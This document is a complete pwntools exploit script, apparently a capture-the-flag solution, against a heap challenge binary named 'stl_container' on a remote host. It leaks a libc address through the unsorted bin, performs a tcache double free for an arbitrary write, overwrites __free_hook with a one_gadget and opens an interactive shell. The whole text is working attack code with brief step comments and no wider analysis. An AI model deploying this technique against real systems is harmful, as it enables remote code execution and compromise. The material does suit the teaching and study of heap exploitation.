Rating:
```python
from pwn import *
context(arch="amd64",os ='linux',log_level='debug')
myelf = ELF("./stl_container")
libc = ELF('./libc-2.27.so')
io = remote("134.175.239.26",8848)
#io = process(myelf.path,env={"LD_PRELOAD" : libc.path})
uu64 = lambda data : u64(data.ljust(8, b'\0'))
sla = lambda delim,data : (io.sendlineafter(delim, data))
List = lambda : (sla(">> ",'1'))
vector = lambda : (sla(">> ",'2'))
queue = lambda : (sla(">> ",'3'))
stack = lambda : (sla(">> ",'4'))
add = lambda data : (sla(">> ",'1'),sla("data:",data))
delete = lambda idx : (sla(">> ",'2'),sla("?\n",str(idx)))
show = lambda idx : (sla(">> ",'3'),sla("?\n",str(idx)))
# full tache
vector();add("123")
vector();add("456")
List();add("123")
List();add("123")
queue();add("123")
queue();add("456")
stack();add("123")
stack();add("456")
stack();vector()
stack();vector()
queue();vector()
queue();vector()
List();delete(1)
List();delete(0)
# free chunks to unsorted bin
vector();delete(0)
# leak libc
vector();show(0)
io.recvuntil(": ")
libc_addr = uu64(io.recv(6))-0x3ebca0
log.warn(hex(libc_addr))
# clear tcache
List();add("123")
List();add("123")
queue();add("123")
queue();add("456")
stack();add("123")
stack();add("456")
vector();add("123")
# tcache double free for arbitrary address write
vector();delete(0)
vector();delete(0)
# use aaw to modify __free_hook to one_gadget
vector();add(p64(libc_addr+libc.symbols['__free_hook']))
vector();add(p64(libc_addr+0x4f322))
io.interactive()
```
